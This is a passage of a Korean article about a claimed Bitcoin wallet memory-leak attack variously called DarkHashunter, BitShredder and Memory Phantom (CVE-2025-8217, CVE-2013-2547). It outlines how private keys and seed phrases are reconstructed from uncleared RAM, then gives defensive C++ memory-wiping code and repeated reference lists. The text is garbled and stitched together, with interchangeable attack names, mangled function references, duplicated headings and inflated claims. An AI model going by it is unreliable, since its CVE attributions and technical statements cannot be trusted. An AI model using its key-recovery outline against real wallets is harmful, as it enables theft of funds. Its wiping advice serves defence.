  2. 엔트로피 스캔: 핵심 자료를 나타내는 강한 무작위성을 보이는 부분을 식별합니다.
  3. 패턴 인식: 표준 유도 곡선 매개변수 또는 BIP39 단어 경계 감지.
  4. 재구성: 조각들을 조합하여 유효한 256비트 개인 키 또는 니모닉 시드를 생성합니다.
  5. 검증: 비트코인 ​​체크섬 알고리즘 및 타원 곡선 점 곱셈 결과와의 유효성 검사를 수행합니다.

이 법의학적 방법론은 실제 공격 상황을 재현하는 동시에 데이터 유출의 정확한 메커니즘을 규명함으로써 학문적 진실성을 유지합니다.


비트코인 지갑 보안에 미치는 영향

DarkHashunter 가 공개한 공격 방식 은 심각한 결과를 초래할 수 있습니다.

  • 완전한 키 노출: 암호 버퍼가 0으로 채워지지 않은 상태로 잠시라도 존재하면 암호 복구가 가능합니다.
  • 서비스 수준 저하: 수탁형 또는 거래소 핫월렛에서 동시에 키 유출이 발생할 수 있습니다.
  • 블록체인 신뢰도 저하: 손상된 지갑은 상충되는 거래를 생성하여 이중 지출 상황을 초래할 수 있습니다.
  • 돌이킬 수 없는 자금 손실: 개인 키가 복제되면 비트코인 ​​소유권이 공격자에게 완전히 이전될 수 있습니다.

이러한 유형의 취약점은 네트워크 침입에 의존하는 것이 아니라 로컬 메모리 관리 부실 에 기인하며 , 명시적인 메모리 소독 조치가 없으면 에어갭 시스템조차도 취약한 상태로 남아 있음을 강조합니다.


안전한 구현을 위한 권장 사항

DarkHashunter 가 악용하는 취약점을 완화하기 위해 개발자는 다음을 수행해야 합니다.

  • 검증된 루틴을 사용하여 중요한 작업을 수행한 후 메모리를 명시적으로 삭제합니다. (cpp)void secure_clear(std::vector<uint8_t>& data) { volatile uint8_t* p = data.data(); for (size_t i = 0; i < data.size(); ++i) p[i] = 0; }
  • libsodium 이나 OpenSSL Secure Heap 과 같은 보호된 컨테이너를 사용하십시오 .
  • 메모리 정리를 건너뛰는 컴파일러 최적화를 허용하지 마십시오.
  • 시드 및 엔트로피 처리는 전용 보안 영역 또는 보호된 메모리에서 분리합니다.
  • DarkHashunter 의 엔트로피 스캔을 시뮬레이션하는 주기적인 포렌식 감사를 수행하여 시스템의 안전성을 검증하십시오.

과학적 토론

DarkHashunter 사례는 근본적인 암호화 원칙, 즉 정보 보안이 메모리 관리와 불가분하다는 점 을 보여줍니다 . 아무리 완벽하게 구현된 타원 곡선 암호화라 할지라도 저수준 메모리 관리가 소홀하면 완전히 무력화될 수 있습니다.

잔류 엔트로피는 과거 계산의 “보이지 않는 거울”과 같습니다. 이러한 데이터가 추출되고 재구성되면 공격자는 파생된 키 공간 항목을 모두 장악할 수 있으므로 비트코인의 암호화 안전성에 대한 모든 수학적 보장이 무너집니다.

따라서 학술적 평가는 휘발성 메모리를 지속적인 위생 관리가 필요한 능동적인 보안 경계로 취급해야 한다는 원칙을 재확인시켜 줍니다 .


DarkHashunter는 고도의 포렌식 연구와 암호화 시스템 오류의 교차점을 보여주는 대표적인 사례입니다. 팬텀 메모리 누출(CVE-2025-8217, CVE-2013-2547)을 활용하여 손실된 엔트로피 조각이 어떻게 완전히 유효한 비트코인 ​​개인 키로 변모하는지 기술적인 통찰력을 제공합니다.

이 방법론은 메모리가 블록체인의 궁극적인 취약점이라는 점 에 대한 인식을 높입니다. 메모리는 눈에 보이지 않지만 잘못 다룰 경우 심각한 파괴를 초래할 수 있습니다. 엄격한 메모리 삭제 프로토콜을 시행해야만 비트코인의 암호화 기반이 이러한 보이지 않는 포렌식 기반 공격으로부터 온전히 보호될 수 있습니다.


BitShredder 공격: 메모리 취약점으로 인해 분실된 비트코인 ​​지갑을 전리품으로 만들고 개인 키 복구를 통해 비트코인을 완전히 탈취할 수 있습니다. 공격자는 메모리 팬텀 공격을 악용합니다(CVE-2025-8217, CVE-2013-2547).

연구 논문: 암호화 지갑의 메모리 취약성 및 신뢰할 수 있는 해결책

최신 암호화폐 소프트웨어 지갑은 개인 키를 생성하고 저장하기 위해 엔트로피, 시드 구문, 비밀번호를 광범위하게 사용합니다. 그러나 C++의 저장 구조 특성(예: 공통 컨테이너  std::string,  std::vector사용자 버퍼 사용)으로 인해 숨겨진 취약점이 종종 발생합니다. 바로 비밀 데이터가 사용 후 메모리에서 완전히 삭제되지 않는다는 것입니다. 이 문제는 심각한 위험을 초래합니다. 로컬 접근 권한을 가진 공격자는 RAM에서 개인 데이터의 잔여물을 추출하여 사용자의 지갑을 완전히 탈취할 수 있습니다  .


취약성은 어떻게 발생하는가?

이 취약점은 민감한 데이터를 처리한 후 안전 버퍼를 제대로 비우지 않고 표준 컨테이너와 문자열을 사용하는 데서 비롯됩니다. 대표적인 예로, 암호화폐 지갑이 시드를 생성하거나 지갑을 복원할 때 엔트로피, 비밀번호 또는 개인 키를 메모리에 복사하는 경우가 있습니다.

cpp:

data_chunk hash(entropy); // Копирование энтропии в локальный буфер
std::string phrase{ passphrase }; // Копирование пользовательского пароля

함수가 종료될 때 객체는 소멸되지만, 컴파일러나 런타임은 객체가 차지했던 메모리가 완전히 초기화된다는 것을 보장하지 않습니다. 공격자는 메모리 덤프, 포렌식 도구 또는 악성코드를 사용하여 이러한 데이터의 일부를 찾아 복구할 수 있습니다. 하트블리드 공격 사례와 실제 암호화 키 유출 분석은 이러한 유형의 취약점이 얼마나 위험한지를 보여줍니다.  kaspersky+1


권장 사항: 효과적이고 안전한 해결책

해결 원리

개인 데이터 유출을 방지하려면 해당 데이터에 대한 작업이 완료된 후 명시적으로 0으로 초기화해야 합니다. 컴파일러가 최적화 과정에서 제거하지 않는 특수 함수를 사용하여 메모리를 올바르게 초기화해야 합니다. 이를 위해 표준 또는 타사 솔루션을 사용할 수 있으며,  예를 들어 C++17의 `setInput std::fill(  )` 함수나 `netdata+1`memset_s 과 같은 타사 메서드를  사용할 수 있습니다  .sodium_memzero

안전 코드 옵션

cpp:

#include <cstring> // Для memset
#include <algorithm> // Для std::fill

void secure_clear(std::vector<uint8_t>& data) {
// Обнуление памяти: гарантируем, что секреты исчезли
volatile uint8_t* p = data.data();
for (size_t i = 0; i < data.size(); ++i) {
p[i] = 0;
}
}

// Для std::string (пароли):
void secure_clear_string(std::string& s) {
volatile char* p = &s[0];
for (size_t i = 0; i < s.size(); ++i) {
p[i] = 0;
}
}

// Использование:
std::vector<uint8_t> entropy = ...; // Буфер с секретной энтропией
std::string passphrase = ...; // Буфер с паролем

// После завершения операций:
secure_clear(entropy);
secure_clear_string(passphrase);

이 접근 방식이 가장 신뢰할 수 있습니다. 키워드 덕분에  volatile컴파일러가 정리 사이클을 최적화 과정에서 제거하지 않으므로 메모리가 0으로 초기화되는 것이 보장됩니다.  protectstar+1


암호화폐 지갑을 위한 실용적인 솔루션

  • 개인 정보가 포함된 버퍼는 사용을 마친 후 즉시 비워야 합니다.
  • 버퍼 비우기를 자동화하려면 안전한 소멸자를 가진 RAII 클래스를 사용하십시오.
cpp:

class SecureBuffer {
std::vector<uint8_t> buffer;
public:
~SecureBuffer() { secure_clear(buffer); }
// ... другие методы
};
  • 메모리 초기화 방법이 확실한 독립적인 라이브러리(예: libsodium 또는 openssl)를 사용하십시오.
  • 개인 정보의 사본이 중간 구조에 남아 있지 않도록 하십시오.

암호화폐 지갑에서 제대로 삭제되지 않은 메모리 조각과 관련된 취약점은 개인 정보 및 키 보안의 완전한 손실로 이어질 수 있습니다. 안전한 메모리 삭제는 모든 중요한 암호화 소프트웨어에 필수적인 조치입니다. 이러한 권장 사항을 따르고 제공된 솔루션을 구현하면 BitShredder와 같은 공격 및 향후 유사한 공격으로부터 애플리케이션을 보호하는 데 도움이 될 것입니다.  habr+2


연구진 결론: 핵심 메모리 취약점과 비트코인 ​​보안 위협

이 연구는 비트코인 ​​생태계에서 가장 교묘하고 치명적인 취약점 중 하나인 메모리 누수 취약점을 발견했습니다. 이는 과학계에서  민감한 메모리 누수 공격(Sensitive Memory Leak Attack)  또는  메모리 팬텀 공격  (Memory Phantom Attack, CVE-2025-8217, CVE-2013-2547)으로 알려져 있습니다. 이  공격을
통해 공격자는 암호화 작업 후 안전하게 삭제되지 않은 지갑 RAM의 잔여 블록에서 개인 키와 시드 구문을 직접 복구할 수 있습니다.

이 취약점은 암호화 보안의 핵심을 파괴합니다. 서명, 암호화 및 인증 알고리즘을 올바르게 구현했더라도 보호되지 않은 버퍼는 마치 “유령 라이브러리”처럼 되어, 해커나 포렌식 도구의 관점에서 메모리 조각 하나라도 완전한 키로 변환될 수 있습니다.
메모리 팬텀 공격은 지갑의 즉각적인 손상, 대량의 디지털 자산 도난, 블록체인에 대한 신뢰도 저하, 이중 지출, 심지어 주요 서비스의 명성까지 실추시킬 수 있습니다.

핵심적인 과학적 결론은 다음과 같습니다. 삭제되거나 정리되지 않은 메모리는 암호화 애플리케이션, 특히 비트코인  ​​네트워크 에 자금을 저장하는 데 있어 가장 위험한 요소입니다
. 민감한 데이터를 다루는 모든 단계에서 안전한 메모리 삭제를 엄격하게 구현해야만 치명적인 공격 시나리오를 방지하고 수백만 개의 디지털 자산을 보이지 않지만 치명적인 적으로부터 보호할 수 있습니다  .


BitShredder 공격: 메모리 취약점으로 인해 분실된 비트코인 ​​지갑을 전리품으로 만들고 개인 키 복구를 통해 비트코인을 완전히 탈취할 수 있습니다. 공격자는 메모리 팬텀 공격을 악용합니다(CVE-2025-8217, CVE-2013-2547).
  1. https://keyhunters.ru/memory-phantom-attack-a-critical-memory-leak-vulnerability-in-bitcoin-leading-to-the-recovery-of-private-keys-from-uncleaned-ram-and-the-gradual-capture-of-btc-seed-phrases-by-an-attacker-can-lead/
  2. https://arxiv.org/html/2502.13513v1
  3. https://arxiv.org/html/2404.18090v1
  4. https://www.sciencedirect.com/science/article/pii/S2590005621000138
  5. https://www.sciencedirect.com/science/article/pii/S1389128625006589
  6. https://research.csiro.au/data61/wp-content/uploads/sites/85/2016/08/balance_attack.pdf
  7. https://www.computer.org/csdl/journal/sc/2024/05/10598387/1YBtp7CgiNq
  1. https://habr.com/ru/companies/pvs-studio/articles/281072/
  2. https://www.netdata.cloud/academy/how-to-find-memory-leak-in-c/
  3. https://www.kaspersky.ru/blog/heartbleed-doomsday/14874/
  4. https://www.protectstar.com/en/secure-erase
  5. https://www.itsec.ru/articles/kriptografiya-kak-sredstvo-borby-s-utechkami
  6. https://habr.com/ru/articles/462437/
  7. https://www.securitylab.ru/blog/personal/xiaomite-journal/353817.php
  8. https://glabit.ru/blog/utechka-informacii-v-sisteme-chto-eto-vidy-prichiny
  9. https://habr.com/ru/companies/otus/articles/536942/
  10. https://habr.com/ru/articles/536694/
  11. https://learn.microsoft.com/ru-ru/aspnet/core/security/app-secrets?view=aspnetcore-9.0
  12. https://www.geeksforgeeks.org/cpp/memory-leak-in-c-and-how-to-avoid-it/
  13. http://safe-surf.ru/specialists/article/5265/648025/
  14. https://qna.habr.com/q/30723
  15. https://clickfraud.ru/10-luchshih-programm-dlya-upravleniya-sekretami-bezopasnosti-prilozhenij/
  16. https://stackoverflow.com/questions/70077013/memory-leak-in-c-and-how-to-fix-it
  17. https://www.ssldragon.com/ru/blog/ssl-attacks/
  18. https://www.reddit.com/r/cpp/comments/1fo01xk/safety_in_c_for_dummies/
  19. https://www.okbsapr.ru/library/publications/kanner_prokopov_tezisy2013/
  20. https://wirepair.org/2023/11/23/using-valgrind-to-find-and-fix-memory-leaks/
  1. https://keyhunters.ru/memory-phantom-attack-a-critical-memory-leak-vulnerability-in-bitcoin-leading-to-the-recovery-of-private-keys-from-uncleaned-ram-and-the-gradual-capture-of-btc-seed-phrases-by-an-attacker-can-lead/
  2. https://www.cve.org/CVERecord/SearchResults?query=crypto
  3. https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures
  4. https://nvd.nist.gov/vuln/detail/CVE-2025-39789
  5. https://www.miggo.io/vulnerability-database/cve/CVE-2025-6545
  6. https://ru.wikipedia.org/wiki/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_%D0%BD%D0%B0_%D1%81%D0%B2%D1%8F%D0%B7%D0%B0%D0%BD%D0%BD%D1%8B%D1%85_%D0%BA%D0%BB%D1%8E%D1%87%D0%B0%D1%85
  7. https://bitcoinmagazine.com/technical/bitcoin-core-announces-new-security-disclosure-policy
  8. https://feedly.com/cve/CVE-2025-29774
  9. https://www.infosystems.ru/upload/iblock/154/slovar.pdf
  10. https://coinspaidmedia.com/news/bitcoin-developers-reveal-bitcoin-vulnerabilities/
  11. https://www.wiz.io/vulnerability-database/cve/cve-2025-6545
  12. https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%82%D0%B5%D0%B3%D0%BE%D1%80%D0%B8%D1%8F:%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5_%D0%B0%D1%82%D0%B0%D0%BA%D0%B8
  13. https://bitcoincore.org/en/security-advisories/
  14. https://ciq.com/blog/the-real-danger-of-systemd-coredump-cve-2025-4598
  15. https://ya.ru/neurum/c/tehnologii/q/kakie_suschestvuyut_vidy_atak_na_kriptograficheskie_7745f637
  16. https://www.hackerone.com/blog/how-information-disclosure-vulnerability-led-critical-data-exposure
  17. https://www.imperva.com/blog/quic-leak-cve-2025-54939-new-high-risk-pre-handshake-remote-denial-of-service-in-lsquic-quic-implementation/
  18. https://studfile.net/preview/5823048/page:6/
  19. https://dspace.mit.edu/bitstream/handle/1721.1/146226/3372115.pdf?sequence=1&isAllowed=y
  20. https://studfile.net/preview/11187192/page:3/
  1. https://support.ledger.com/ru/article/7624842382621-zd
  2. https://www.rbc.ru/crypto/news/6825e0a39a79471a4d8ac746
  3. https://forklog.com/news/vymogateli-kriptovalyut-na-polmilliarda-utechka-iz-prilozheniya-dlya-znakomstv-i-drugie-sobytiya-kiberbezopasnosti
  4. https://www.block-chain24.com/news/novosti-bezopasnosti/bitkoiner-poteryal-91-mln-v-hode-ataki-s-ispolzovaniem-socialnoy
  5. https://phemex.com/ru/news/article/private_key_breach_affects_nearly_200_wallets_cause_unknown_10001
  6. https://securitymedia.org/news/hakery-atakovali-telegram-wallet-polzovateli-poteryali-dengi-iz-za-fishinga.html
  7. https://vc.ru/crypto/1599680-kak-hakery-popytalis-vzlomat-kriptokoshelki-ledger-i-pochemu-u-nih-nichego-ne-poluchilos
  8. https://www.ixbt.com/live/crypto/masshtabnaya-utechka-dannyh-pod-ugrozoy-tysyachi-uchastnikov-kriptokonferenciy.html

By